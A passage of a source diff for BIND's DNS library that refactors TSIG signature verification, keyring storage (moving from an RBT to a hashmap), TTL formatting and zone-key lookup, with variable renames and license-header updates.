-		ret = dst_context_adddata(ctx, &r);
-		if (ret != ISC_R_SUCCESS) {
+		dns_name_toregion(tsigkey->name, &r);
+		result = dst_context_adddata(ctx, &r);
+		if (result != ISC_R_SUCCESS) {
 			goto cleanup_context;
 		}
 
@@ -1313,8 +1086,8 @@ dns_tsig_verify(isc_buffer_t *source, dns_message_t *msg,
 		isc_buffer_putuint16(&databuf, tsig.common.rdclass);
 		isc_buffer_putuint32(&databuf, msg->tsig->ttl);
 		isc_buffer_usedregion(&databuf, &r);
-		ret = dst_context_adddata(ctx, &r);
-		if (ret != ISC_R_SUCCESS) {
+		result = dst_context_adddata(ctx, &r);
+		if (result != ISC_R_SUCCESS) {
 			goto cleanup_context;
 		}
 
@@ -1322,8 +1095,8 @@ dns_tsig_verify(isc_buffer_t *source, dns_message_t *msg,
 		 * Digest the key algorithm.
 		 */
 		dns_name_toregion(tsigkey->algorithm, &r);
-		ret = dst_context_adddata(ctx, &r);
-		if (ret != ISC_R_SUCCESS) {
+		result = dst_context_adddata(ctx, &r);
+		if (result != ISC_R_SUCCESS) {
 			goto cleanup_context;
 		}
 
@@ -1333,27 +1106,27 @@ dns_tsig_verify(isc_buffer_t *source, dns_message_t *msg,
 		isc_buffer_putuint16(&databuf, tsig.error);
 		isc_buffer_putuint16(&databuf, tsig.otherlen);
 		isc_buffer_usedregion(&databuf, &r);
-		ret = dst_context_adddata(ctx, &r);
-		if (ret != ISC_R_SUCCESS) {
+		result = dst_context_adddata(ctx, &r);
+		if (result != ISC_R_SUCCESS) {
 			goto cleanup_context;
 		}
 
 		if (tsig.otherlen > 0) {
 			r.base = tsig.other;
 			r.length = tsig.otherlen;
-			ret = dst_context_adddata(ctx, &r);
-			if (ret != ISC_R_SUCCESS) {
+			result = dst_context_adddata(ctx, &r);
+			if (result != ISC_R_SUCCESS) {
 				goto cleanup_context;
 			}
 		}
 
-		ret = dst_context_verify(ctx, &sig_r);
-		if (ret == DST_R_VERIFYFAILURE) {
-			ret = DNS_R_TSIGVERIFYFAILURE;
+		result = dst_context_verify(ctx, &sig_r);
+		if (result == DST_R_VERIFYFAILURE) {
+			result = DNS_R_TSIGVERIFYFAILURE;
 			tsig_log(msg->tsigkey, 2,
 				 "signature failed to verify(1)");
 			goto cleanup_context;
-		} else if (ret != ISC_R_SUCCESS) {
+		} else if (result != ISC_R_SUCCESS) {
 			goto cleanup_context;
 		}
 		msg->verified_sig = 1;
@@ -1377,12 +1150,12 @@ dns_tsig_verify(isc_buffer_t *source, dns_message_t *msg,
 	if (now + msg->timeadjust > tsig.timesigned + tsig.fudge) {
 		msg->tsigstatus = dns_tsigerror_badtime;
 		tsig_log(msg->tsigkey, 2, "signature has expired");
-		ret = DNS_R_CLOCKSKEW;
+		result = DNS_R_CLOCKSKEW;
 		goto cleanup_context;
 	} else if (now + msg->timeadjust < tsig.timesigned - tsig.fudge) {
 		msg->tsigstatus = dns_tsigerror_badtime;
 		tsig_log(msg->tsigkey, 2, "signature is in the future");
-		ret = DNS_R_CLOCKSKEW;
+		result = DNS_R_CLOCKSKEW;
 		goto cleanup_context;
 	}
 
@@ -1390,18 +1163,19 @@ dns_tsig_verify(isc_buffer_t *source, dns_message_t *msg,
 		uint16_t digestbits = dst_key_getbits(key);
 
 		if (tsig.siglen > 0 && digestbits != 0 &&
-		    tsig.siglen < ((digestbits + 7) / 8)) {
+		    tsig.siglen < ((digestbits + 7) / 8))
+		{
 			msg->tsigstatus = dns_tsigerror_badtrunc;
 			tsig_log(msg->tsigkey, 2,
 				 "truncated signature length too small");
-			ret = DNS_R_TSIGVERIFYFAILURE;
+			result = DNS_R_TSIGVERIFYFAILURE;
 			goto cleanup_context;
 		}
 		if (tsig.siglen > 0 && digestbits == 0 && tsig.siglen < siglen)
 		{
 			msg->tsigstatus = dns_tsigerror_badtrunc;
 			tsig_log(msg->tsigkey, 2, "signature length too small");
-			ret = DNS_R_TSIGVERIFYFAILURE;
+			result = DNS_R_TSIGVERIFYFAILURE;
 			goto cleanup_context;
 		}
 	}
@@ -1409,22 +1183,22 @@ dns_tsig_verify(isc_buffer_t *source, dns_message_t *msg,
 	if (response && tsig.error != dns_rcode_noerror) {
 		msg->tsigstatus = tsig.error;
 		if (tsig.error == dns_tsigerror_badtime) {
-			ret = DNS_R_CLOCKSKEW;
+			result = DNS_R_CLOCKSKEW;
 		} else {
-			ret = DNS_R_TSIGERRORSET;
+			result = DNS_R_TSIGERRORSET;
 		}
 		goto cleanup_context;
 	}
 
 	msg->tsigstatus = dns_rcode_noerror;
-	ret = ISC_R_SUCCESS;
+	result = ISC_R_SUCCESS;
 
 cleanup_context:
 	if (ctx != NULL) {
 		dst_context_destroy(&ctx);
 	}
 
-	return (ret);
+	return (result);
 }
 
 static isc_result_t
@@ -1433,16 +1207,16 @@ tsig_verify_tcp(isc_buffer_t *source, dns_message_t *msg) {
 	isc_region_t r, source_r, header_r, sig_r;
 	isc_buffer_t databuf;
 	unsigned char data[32];
-	dns_name_t *keyname;
+	dns_name_t *keyname = NULL;
 	dns_rdata_t rdata = DNS_RDATA_INIT;
 	isc_stdtime_t now;
-	isc_result_t ret;
-	dns_tsigkey_t *tsigkey;
+	isc_result_t result;
+	dns_tsigkey_t *tsigkey = NULL;
 	dst_key_t *key = NULL;
 	unsigned char header[DNS_MESSAGE_HEADERLEN];
 	uint16_t addcount, id;
 	bool has_tsig = false;
-	isc_mem_t *mctx;
+	isc_mem_t *mctx = NULL;
 	unsigned int siglen;
 	unsigned int alg;
 
@@ -1467,14 +1241,14 @@ tsig_verify_tcp(isc_buffer_t *source, dns_message_t *msg) {
 	/*
 	 * Extract and parse the previous TSIG
 	 */
-	ret = dns_rdataset_first(msg->querytsig);
-	if (ret != ISC_R_SUCCESS) {
-		return (ret);
+	result = dns_rdataset_first(msg->querytsig);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
 	}
 	dns_rdataset_current(msg->querytsig, &rdata);
-	ret = dns_rdata_tostruct(&rdata, &querytsig, NULL);
-	if (ret != ISC_R_SUCCESS) {
-		return (ret);
+	result = dns_rdata_tostruct(&rdata, &querytsig, NULL);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
 	}
 	dns_rdata_reset(&rdata);
 
@@ -1485,24 +1259,24 @@ tsig_verify_tcp(isc_buffer_t *source, dns_message_t *msg) {
 		has_tsig = true;
 
 		keyname = msg->tsigname;
-		ret = dns_rdataset_first(msg->tsig);
-		if (ret != ISC_R_SUCCESS) {
+		result = dns_rdataset_first(msg->tsig);
+		if (result != ISC_R_SUCCESS) {
 			goto cleanup_querystruct;
 		}
 		dns_rdataset_current(msg->tsig, &rdata);
-		ret = dns_rdata_tostruct(&rdata, &tsig, NULL);
-		if (ret != ISC_R_SUCCESS) {
+		result = dns_rdata_tostruct(&rdata, &tsig, NULL);
+		if (result != ISC_R_SUCCESS) {
 			goto cleanup_querystruct;
 		}
 
 		/*
 		 * Do the key name and algorithm match that of the query?
 		 */
-		if (!dns_name_equal(keyname, &tsigkey->name) ||
+		if (!dns_name_equal(keyname, tsigkey->name) ||
 		    !dns_name_equal(&tsig.algorithm, &querytsig.algorithm))
 		{
 			msg->tsigstatus = dns_tsigerror_badkey;
-			ret = DNS_R_TSIGVERIFYFAILURE;
+			result = DNS_R_TSIGVERIFYFAILURE;
 			tsig_log(msg->tsigkey, 2,
 				 "key name and algorithm do not match");
 			goto cleanup_querystruct;
@@ -1512,32 +1286,33 @@ tsig_verify_tcp(isc_buffer_t *source, dns_message_t *msg) {
 		 * Check digest length.
 		 */
 		alg = dst_key_alg(key);
-		ret = dst_key_sigsize(key, &siglen);
-		if (ret != ISC_R_SUCCESS) {
+		result = dst_key_sigsize(key, &siglen);
+		if (result != ISC_R_SUCCESS) {
 			goto cleanup_querystruct;
 		}
 		if (dns__tsig_algvalid(alg)) {
 			if (tsig.siglen > siglen) {
 				tsig_log(tsigkey, 2,
 					 "signature length too big");
-				ret = DNS_R_FORMERR;
+				result = DNS_R_FORMERR;
 				goto cleanup_querystruct;
 			}
 			if (tsig.siglen > 0 &&
 			    (tsig.siglen < 10 ||
-			     tsig.siglen < ((siglen + 1) / 2))) {
+			     tsig.siglen < ((siglen + 1) / 2)))
+			{
 				tsig_log(tsigkey, 2,
 					 "signature length below minimum");
-				ret = DNS_R_FORMERR;
+				result = DNS_R_FORMERR;
 				goto cleanup_querystruct;
 			}
 		}
 	}
 
 	if (msg->tsigctx == NULL) {
-		ret = dst_context_create(key, mctx, DNS_LOGCATEGORY_DNSSEC,
-					 false, 0, &msg->tsigctx);
-		if (ret != ISC_R_SUCCESS) {
+		result = dst_context_create(key, mctx, DNS_LOGCATEGORY_DNSSEC,
+					    false, 0, &msg->tsigctx);
+		if (result != ISC_R_SUCCESS) {
 			goto cleanup_querystruct;
 		}
 
@@ -1547,8 +1322,8 @@ tsig_verify_tcp(isc_buffer_t *source, dns_message_t *msg) {
 		isc_buffer_init(&databuf, data, sizeof(data));
 		isc_buffer_putuint16(&databuf, querytsig.siglen);
 		isc_buffer_usedregion(&databuf, &r);
-		ret = dst_context_adddata(msg->tsigctx, &r);
-		if (ret != ISC_R_SUCCESS) {
+		result = dst_context_adddata(msg->tsigctx, &r);
+		if (result != ISC_R_SUCCESS) {
 			goto cleanup_context;
 		}
 
@@ -1558,8 +1333,8 @@ tsig_verify_tcp(isc_buffer_t *source, dns_message_t *msg) {
 		if (querytsig.siglen > 0) {
 			r.length = querytsig.siglen;
 			r.base = querytsig.signature;
-			ret = dst_context_adddata(msg->tsigctx, &r);
-			if (ret != ISC_R_SUCCESS) {
+			result = dst_context_adddata(msg->tsigctx, &r);
+			if (result != ISC_R_SUCCESS) {
 				goto cleanup_context;
 			}
 		}
@@ -1589,8 +1364,6 @@ tsig_verify_tcp(isc_buffer_t *source, dns_message_t *msg) {
 		 * XXX Can TCP transfers be forwarded?  How would that
 		 * work?
 		 */
-		/* cppcheck-suppress uninitStructMember
-		 * symbolName=tsig.originalid */
 		id = htons(tsig.originalid);
 		memmove(&header[0], &id, 2);
 	}
@@ -1600,8 +1373,8 @@ tsig_verify_tcp(isc_buffer_t *source, dns_message_t *msg) {
 	 */
 	header_r.base = (unsigned char *)header;
 	header_r.length = DNS_MESSAGE_HEADERLEN;
-	ret = dst_context_adddata(msg->tsigctx, &header_r);
-	if (ret != ISC_R_SUCCESS) {
+	result = dst_context_adddata(msg->tsigctx, &header_r);
+	if (result != ISC_R_SUCCESS) {
 		goto cleanup_context;
 	}
 
@@ -1615,8 +1388,8 @@ tsig_verify_tcp(isc_buffer_t *source, dns_message_t *msg) {
 	} else {
 		r.length = source_r.length - DNS_MESSAGE_HEADERLEN;
 	}
-	ret = dst_context_adddata(msg->tsigctx, &r);
-	if (ret != ISC_R_SUCCESS) {
+	result = dst_context_adddata(msg->tsigctx, &r);
+	if (result != ISC_R_SUCCESS) {
 		goto cleanup_context;
 	}
 
@@ -1628,8 +1401,8 @@ tsig_verify_tcp(isc_buffer_t *source, dns_message_t *msg) {
 		isc_buffer_putuint48(&databuf, tsig.timesigned);
 		isc_buffer_putuint16(&databuf, tsig.fudge);
 		isc_buffer_usedregion(&databuf, &r);
-		ret = dst_context_adddata(msg->tsigctx, &r);
-		if (ret != ISC_R_SUCCESS) {
+		result = dst_context_adddata(msg->tsigctx, &r);
+		if (result != ISC_R_SUCCESS) {
 			goto cleanup_context;
 		}
 
@@ -1639,24 +1412,24 @@ tsig_verify_tcp(isc_buffer_t *source, dns_message_t *msg) {
 			if (tsig.error != dns_rcode_noerror) {
 				msg->tsigstatus = tsig.error;
 				if (tsig.error == dns_tsigerror_badtime) {
-					ret = DNS_R_CLOCKSKEW;
+					result = DNS_R_CLOCKSKEW;
 				} else {
-					ret = DNS_R_TSIGERRORSET;
+					result = DNS_R_TSIGERRORSET;
 				}
 			} else {
 				tsig_log(msg->tsigkey, 2, "signature is empty");
-				ret = DNS_R_TSIGVERIFYFAILURE;
+				result = DNS_R_TSIGVERIFYFAILURE;
 			}
 			goto cleanup_context;
 		}
 
-		ret = dst_context_verify(msg->tsigctx, &sig_r);
-		if (ret == DST_R_VERIFYFAILURE) {
+		result = dst_context_verify(msg->tsigctx, &sig_r);
+		if (result == DST_R_VERIFYFAILURE) {
 			tsig_log(msg->tsigkey, 2,
 				 "signature failed to verify(2)");
-			ret = DNS_R_TSIGVERIFYFAILURE;
+			result = DNS_R_TSIGVERIFYFAILURE;
 			goto cleanup_context;
-		} else if (ret != ISC_R_SUCCESS) {
+		} else if (result != ISC_R_SUCCESS) {
 			goto cleanup_context;
 		}
 		msg->verified_sig = 1;
@@ -1671,44 +1444,50 @@ tsig_verify_tcp(isc_buffer_t *source, dns_message_t *msg) {
 		/*
 		 * Is the time ok?
 		 */
-		isc_stdtime_get(&now);
+		if (msg->fuzzing) {
+			now = msg->fuzztime;
+		} else {
+			now = isc_stdtime_now();
+		}
 
 		if (now + msg->timeadjust > tsig.timesigned + tsig.fudge) {
 			msg->tsigstatus = dns_tsigerror_badtime;
 			tsig_log(msg->tsigkey, 2, "signature has expired");
-			ret = DNS_R_CLOCKSKEW;
+			result = DNS_R_CLOCKSKEW;
 			goto cleanup_context;
 		} else if (now + msg->timeadjust < tsig.timesigned - tsig.fudge)
 		{
 			msg->tsigstatus = dns_tsigerror_badtime;
 			tsig_log(msg->tsigkey, 2, "signature is in the future");
-			ret = DNS_R_CLOCKSKEW;
+			result = DNS_R_CLOCKSKEW;
 			goto cleanup_context;
 		}
 
 		alg = dst_key_alg(key);
-		ret = dst_key_sigsize(key, &siglen);
-		if (ret != ISC_R_SUCCESS) {
+		result = dst_key_sigsize(key, &siglen);
+		if (result != ISC_R_SUCCESS) {
 			goto cleanup_context;
 		}
 		if (dns__tsig_algvalid(alg)) {
 			uint16_t digestbits = dst_key_getbits(key);
 
 			if (tsig.siglen > 0 && digestbits != 0 &&
-			    tsig.siglen < ((digestbits + 7) / 8)) {
+			    tsig.siglen < ((digestbits + 7) / 8))
+			{
 				msg->tsigstatus = dns_tsigerror_badtrunc;
 				tsig_log(msg->tsigkey, 2,
 					 "truncated signature length "
 					 "too small");
-				ret = DNS_R_TSIGVERIFYFAILURE;
+				result = DNS_R_TSIGVERIFYFAILURE;
 				goto cleanup_context;
 			}
 			if (tsig.siglen > 0 && digestbits == 0 &&
-			    tsig.siglen < siglen) {
+			    tsig.siglen < siglen)
+			{
 				msg->tsigstatus = dns_tsigerror_badtrunc;
 				tsig_log(msg->tsigkey, 2,
 					 "signature length too small");
-				ret = DNS_R_TSIGVERIFYFAILURE;
+				result = DNS_R_TSIGVERIFYFAILURE;
 				goto cleanup_context;
 			}
 		}
@@ -1716,16 +1495,16 @@ tsig_verify_tcp(isc_buffer_t *source, dns_message_t *msg) {
 		if (tsig.error != dns_rcode_noerror) {
 			msg->tsigstatus = tsig.error;
 			if (tsig.error == dns_tsigerror_badtime) {
-				ret = DNS_R_CLOCKSKEW;
+				result = DNS_R_CLOCKSKEW;
 			} else {
-				ret = DNS_R_TSIGERRORSET;
+				result = DNS_R_TSIGERRORSET;
 			}
 			goto cleanup_context;
 		}
 	}
 
 	msg->tsigstatus = dns_rcode_noerror;
-	ret = ISC_R_SUCCESS;
+	result = ISC_R_SUCCESS;
 
 cleanup_context:
 	/*
@@ -1733,39 +1512,33 @@ tsig_verify_tcp(isc_buffer_t *source, dns_message_t *msg) {
 	 * for unsigned messages; it is a running sum till the next
 	 * TSIG signed message.
 	 */
-	if ((ret != ISC_R_SUCCESS || has_tsig) && msg->tsigctx != NULL) {
+	if ((result != ISC_R_SUCCESS || has_tsig) && msg->tsigctx != NULL) {
 		dst_context_destroy(&msg->tsigctx);
 	}
 
 cleanup_querystruct:
 	dns_rdata_freestruct(&querytsig);
 
-	return (ret);
+	return (result);
 }
 
 isc_result_t
 dns_tsigkey_find(dns_tsigkey_t **tsigkey, const dns_name_t *name,
-		 const dns_name_t *algorithm, dns_tsig_keyring_t *ring) {
-	dns_tsigkey_t *key;
-	isc_stdtime_t now;
+		 const dns_name_t *algorithm, dns_tsigkeyring_t *ring) {
+	dns_tsigkey_t *key = NULL;
+	isc_stdtime_t now = isc_stdtime_now();
 	isc_result_t result;
 
-	REQUIRE(tsigkey != NULL);
-	REQUIRE(*tsigkey == NULL);
 	REQUIRE(name != NULL);
-	REQUIRE(ring != NULL);
+	REQUIRE(VALID_TSIGKEYRING(ring));
+	REQUIRE(tsigkey != NULL && *tsigkey == NULL);
 
-	RWLOCK(&ring->lock, isc_rwlocktype_write);
-	cleanup_ring(ring);
-	RWUNLOCK(&ring->lock, isc_rwlocktype_write);
-
-	isc_stdtime_get(&now);
 	RWLOCK(&ring->lock, isc_rwlocktype_read);
-	key = NULL;
-	result = dns_rbt_findname(ring->keys, name, 0, NULL, (void *)&key);
-	if (result == DNS_R_PARTIALMATCH || result == ISC_R_NOTFOUND) {
+	result = isc_hashmap_find(ring->keys, NULL, name->ndata, name->length,
+				  (void **)&key);
+	if (result == ISC_R_NOTFOUND) {
 		RWUNLOCK(&ring->lock, isc_rwlocktype_read);
-		return (ISC_R_NOTFOUND);
+		return (result);
 	}
 	if (algorithm != NULL && !dns_name_equal(key->algorithm, algorithm)) {
 		RWUNLOCK(&ring->lock, isc_rwlocktype_read);
@@ -1777,122 +1550,82 @@ dns_tsigkey_find(dns_tsigkey_t **tsigkey, const dns_name_t *name,
 		 */
 		RWUNLOCK(&ring->lock, isc_rwlocktype_read);
 		RWLOCK(&ring->lock, isc_rwlocktype_write);
-		remove_fromring(key);
+		rm_lru(key);
+		rm_hashmap(key);
 		RWUNLOCK(&ring->lock, isc_rwlocktype_write);
 		return (ISC_R_NOTFOUND);
 	}
-#if 0
-	/*
-	 * MPAXXX We really should look at the inception time.
-	 */
-	if (key->inception != key->expire &&
-	    isc_serial_lt(key->inception, now)) {
-		RWUNLOCK(&ring->lock, isc_rwlocktype_read);
-		adjust_lru(key);
-		return (ISC_R_NOTFOUND);
-	}
-#endif /* if 0 */
-	isc_refcount_increment(&key->refs);
 	RWUNLOCK(&ring->lock, isc_rwlocktype_read);
 	adjust_lru(key);
+	dns_tsigkey_ref(key);
 	*tsigkey = key;
 	return (ISC_R_SUCCESS);
 }
 
-static void
-free_tsignode(void *node, void *_unused) {
-	dns_tsigkey_t *key;
-
-	REQUIRE(node != NULL);
-
-	UNUSED(_unused);
-
-	key = node;
-	if (key->generated) {
-		if (ISC_LINK_LINKED(key, link)) {
-			ISC_LIST_UNLINK(key->ring->lru, key, link);
-		}
-	}
-	dns_tsigkey_detach(&key);
-}
-
-isc_result_t
-dns_tsigkeyring_create(isc_mem_t *mctx, dns_tsig_keyring_t **ringp) {
-	isc_result_t result;
-	dns_tsig_keyring_t *ring;
+void
+dns_tsigkeyring_create(isc_mem_t *mctx, dns_tsigkeyring_t **ringp) {
+	dns_tsigkeyring_t *ring = NULL;
 
 	REQUIRE(mctx != NULL);
-	REQUIRE(ringp != NULL);
-	REQUIRE(*ringp == NULL);
+	REQUIRE(ringp != NULL && *ringp == NULL);
 
-	ring = isc_mem_get(mctx, sizeof(dns_tsig_keyring_t));
+	ring = isc_mem_get(mctx, sizeof(dns_tsigkeyring_t));
+	*ring = (dns_tsigkeyring_t){
+		.lru = ISC_LIST_INITIALIZER,
+	};
 
-	isc_rwlock_init(&ring->lock, 0, 0);
-	ring->keys = NULL;
-	result = dns_rbt_create(mctx, free_tsignode, NULL, &ring->keys);
-	if (result != ISC_R_SUCCESS) {
-		isc_rwlock_destroy(&ring->lock);
-		isc_mem_put(mctx, ring, sizeof(dns_tsig_keyring_t));
-		return (result);
-	}
-
-	ring->writecount = 0;
-	ring->mctx = NULL;
-	ring->generated = 0;
-	ring->maxgenerated = DNS_TSIG_MAXGENERATEDKEYS;
-	ISC_LIST_INIT(ring->lru);
+	isc_hashmap_create(mctx, 12, ISC_HASHMAP_CASE_INSENSITIVE, &ring->keys);
+	isc_rwlock_init(&ring->lock);
 	isc_mem_attach(mctx, &ring->mctx);
 	isc_refcount_init(&ring->references, 1);
+	ring->magic = TSIGKEYRING_MAGIC;
 
 	*ringp = ring;
-	return (ISC_R_SUCCESS);
 }
 
 isc_result_t
-dns_tsigkeyring_add(dns_tsig_keyring_t *ring, const dns_name_t *name,
-		    dns_tsigkey_t *tkey) {
+dns_tsigkeyring_add(dns_tsigkeyring_t *ring, dns_tsigkey_t *tkey) {
 	isc_result_t result;
 
-	result = keyring_add(ring, name, tkey);
-	if (result == ISC_R_SUCCESS) {
-		isc_refcount_increment(&tkey->refs);
-	}
-
-	return (result);
-}
-
-void
-dns_tsigkeyring_attach(dns_tsig_keyring_t *source,
-		       dns_tsig_keyring_t **target) {
-	REQUIRE(source != NULL);
-	REQUIRE(target != NULL && *target == NULL);
-
-	isc_refcount_increment(&source->references);
+	REQUIRE(VALID_TSIGKEY(tkey));
+	REQUIRE(VALID_TSIGKEYRING(ring));
+	REQUIRE(tkey->ring == NULL);
 
-	*target = source;
-}
-
-void
-dns_tsigkeyring_detach(dns_tsig_keyring_t **ringp) {
-	dns_tsig_keyring_t *ring;
-
-	REQUIRE(ringp != NULL);
-	REQUIRE(*ringp != NULL);
+	RWLOCK(&ring->lock, isc_rwlocktype_write);
+	result = isc_hashmap_add(ring->keys, NULL, tkey->name->ndata,
+				 tkey->name->length, tkey);
+	if (result == ISC_R_SUCCESS) {
+		dns_tsigkey_ref(tkey);
+		tkey->ring = ring;
 
-	ring = *ringp;
-	*ringp = NULL;
+		/*
+		 * If this is a TKEY-generated key, add it to the LRU list,
+		 * and if we've exceeded the quota for generated keys,
+		 * remove the least recently used one from the both the
+		 * list and the RBT.
+		 */
+		if (tkey->generated) {
+			ISC_LIST_APPEND(ring->lru, tkey, link);
+			dns_tsigkey_ref(tkey);
+			if (ring->generated++ > DNS_TSIG_MAXGENERATEDKEYS) {
+				dns_tsigkey_t *key = ISC_LIST_HEAD(ring->lru);
+				rm_lru(key);
+				rm_hashmap(key);
+			}
+		}
 
-	if (isc_refcount_decrement(&ring->references) == 1) {
-		destroyring(ring);
+		tkey->ring = ring;
 	}
+	RWUNLOCK(&ring->lock, isc_rwlocktype_write);
+
+	return (result);
 }
 
 void
-dns_keyring_restore(dns_tsig_keyring_t *ring, FILE *fp) {
-	isc_stdtime_t now;
+dns_tsigkeyring_restore(dns_tsigkeyring_t *ring, FILE *fp) {
+	isc_stdtime_t now = isc_stdtime_now();
 	isc_result_t result;
 
-	isc_stdtime_get(&now);
 	do {
 		result = restore_key(ring, now, fp);
 		if (result == ISC_R_NOMORE) {
diff --git a/lib/dns/tsig_p.h b/lib/dns/tsig_p.h
index 77770e585e..42316a0608 100644
--- a/lib/dns/tsig_p.h
+++ b/lib/dns/tsig_p.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_TSIG_P_H
-#define DNS_TSIG_P_H
+#pragma once
 
 /*! \file */
 
@@ -29,13 +30,7 @@ ISC_LANG_BEGINDECLS
 
 bool
 dns__tsig_algvalid(unsigned int alg);
-unsigned int
+dst_algorithm_t
 dns__tsig_algfromname(const dns_name_t *algorithm);
-const dns_name_t *
-dns__tsig_algnamefromname(const dns_name_t *algorithm);
-bool
-dns__tsig_algallocated(const dns_name_t *algorithm);
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_TSIG_P_H */
diff --git a/lib/dns/ttl.c b/lib/dns/ttl.c
index d69405c728..b8060d89f8 100644
--- a/lib/dns/ttl.c
+++ b/lib/dns/ttl.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -18,14 +20,14 @@
 #include <stdio.h>
 #include <stdlib.h>
 
+#include <isc/ascii.h>
 #include <isc/buffer.h>
 #include <isc/parseint.h>
-#include <isc/print.h>
 #include <isc/region.h>
+#include <isc/result.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
-#include <dns/result.h>
 #include <dns/ttl.h>
 
 #define RETERR(x)                        \
@@ -71,7 +73,7 @@ ttlfmt(unsigned int t, const char *s, bool verbose, bool space,
  */
 isc_result_t
 dns_ttl_totext(uint32_t src, bool verbose, bool upcase, isc_buffer_t *target) {
-	unsigned secs, mins, hours, days, weeks, x;
+	unsigned int secs, mins, hours, days, weeks, x;
 
 	secs = src % 60;
 	src /= 60;
@@ -117,13 +119,10 @@ dns_ttl_totext(uint32_t src, bool verbose, bool upcase, isc_buffer_t *target) {
 		/*
 		 * The unit letter is the last character in the
 		 * used region of the buffer.
-		 *
-		 * toupper() does not need its argument to be masked of cast
-		 * here because region.base is type unsigned char *.
 		 */
 		isc_buffer_usedregion(target, &region);
 		region.base[region.length - 1] =
-			toupper(region.base[region.length - 1]);
+			isc_ascii_toupper(region.base[region.length - 1]);
 	}
 	return (ISC_R_SUCCESS);
 }
diff --git a/lib/dns/update.c b/lib/dns/update.c
index 94e95f8949..b050988f27 100644
--- a/lib/dns/update.c
+++ b/lib/dns/update.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -17,14 +19,12 @@
 #include <isc/magic.h>
 #include <isc/mem.h>
 #include <isc/netaddr.h>
-#include <isc/platform.h>
-#include <isc/print.h>
 #include <isc/random.h>
+#include <isc/result.h>
 #include <isc/serial.h>
 #include <isc/stats.h>
 #include <isc/stdtime.h>
 #include <isc/string.h>
-#include <isc/taskpool.h>
 #include <isc/time.h>
 #include <isc/util.h>
 
@@ -32,7 +32,6 @@
 #include <dns/dbiterator.h>
 #include <dns/diff.h>
 #include <dns/dnssec.h>
-#include <dns/events.h>
 #include <dns/fixedname.h>
 #include <dns/journal.h>
 #include <dns/kasp.h>
@@ -47,7 +46,6 @@
 #include <dns/rdatasetiter.h>
 #include <dns/rdatastruct.h>
 #include <dns/rdatatype.h>
-#include <dns/result.h>
 #include <dns/soa.h>
 #include <dns/ssu.h>
 #include <dns/stats.h>
@@ -365,7 +363,7 @@ foreach_rrset(dns_db_t *db, dns_dbversion_t *ver, dns_name_t *name,
 	}
 
 	iter = NULL;
-	result = dns_db_allrdatasets(db, node, ver, (isc_stdtime_t)0, &iter);
+	result = dns_db_allrdatasets(db, node, ver, 0, (isc_stdtime_t)0, &iter);
 	if (result != ISC_R_SUCCESS) {
 		goto cleanup_node;
 	}
@@ -854,9 +852,7 @@ is_active(dns_db_t *db, dns_dbversion_t *ver, dns_name_t *name, bool *flag,
 	if (result == ISC_R_SUCCESS || result == DNS_R_EMPTYNAME) {
 		*flag = true;
 		*cut = false;
-		if (unsecure != NULL) {
-			*unsecure = false;
-		}
+		SET_IF_NOT_NULL(unsecure, false);
 		return (ISC_R_SUCCESS);
 	} else if (result == DNS_R_ZONECUT) {
 		*flag = true;
@@ -882,9 +878,7 @@ is_active(dns_db_t *db, dns_dbversion_t *ver, dns_name_t *name, bool *flag,
 	{
 		*flag = false;
 		*cut = false;
-		if (unsecure != NULL) {
-			*unsecure = false;
-		}
+		SET_IF_NOT_NULL(unsecure, false);
 		return (ISC_R_SUCCESS);
 	} else {
 		/*
@@ -892,9 +886,7 @@ is_active(dns_db_t *db, dns_dbversion_t *ver, dns_name_t *name, bool *flag,
 		 */
 		*flag = false;
 		*cut = false;
-		if (unsecure != NULL) {
-			*unsecure = false;
-		}
+		SET_IF_NOT_NULL(unsecure, false);
 		return (result);
 	}
 }
@@ -1058,27 +1050,49 @@ add_placeholder_nsec(dns_db_t *db, dns_dbversion_t *ver, dns_name_t *name,
 }
 
 static isc_result_t
-find_zone_keys(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *ver,
-	       isc_mem_t *mctx, unsigned int maxkeys, dst_key_t **keys,
-	       unsigned int *nkeys) {
+find_zone_keys(dns_zone_t *zone, isc_mem_t *mctx, unsigned int maxkeys,
+	       dst_key_t **keys, unsigned int *nkeys) {
+	dns_dnsseckeylist_t keylist;
+	dns_dnsseckey_t *k = NULL;
+	unsigned int count = 0;
 	isc_result_t result;
-	isc_stdtime_t now;
-	dns_dbnode_t *node = NULL;
-	const char *directory = dns_zone_getkeydirectory(zone);
+	isc_stdtime_t now = isc_stdtime_now();
 
-	CHECK(dns_db_findnode(db, dns_db_origin(db), false, &node));
-	isc_stdtime_get(&now);
+	ISC_LIST_INIT(keylist);
 
 	dns_zone_lock_keyfiles(zone);
-	result = dns_dnssec_findzonekeys(db, ver, node, dns_db_origin(db),
-					 directory, now, mctx, maxkeys, keys,
-					 nkeys);
+	result = dns_dnssec_findmatchingkeys(dns_zone_getorigin(zone),
+					     dns_zone_getkeydirectory(zone),
+					     now, mctx, &keylist);
 	dns_zone_unlock_keyfiles(zone);
 
-failure:
-	if (node != NULL) {
-		dns_db_detachnode(db, &node);
+	if (result != ISC_R_SUCCESS) {
+		*nkeys = 0;
+		return (result);
+	}
+
+	/* Add new 'dnskeys' to 'keys' */
+	while ((k = ISC_LIST_HEAD(keylist)) != NULL) {
+		if (count >= maxkeys) {
+			result = ISC_R_NOSPACE;
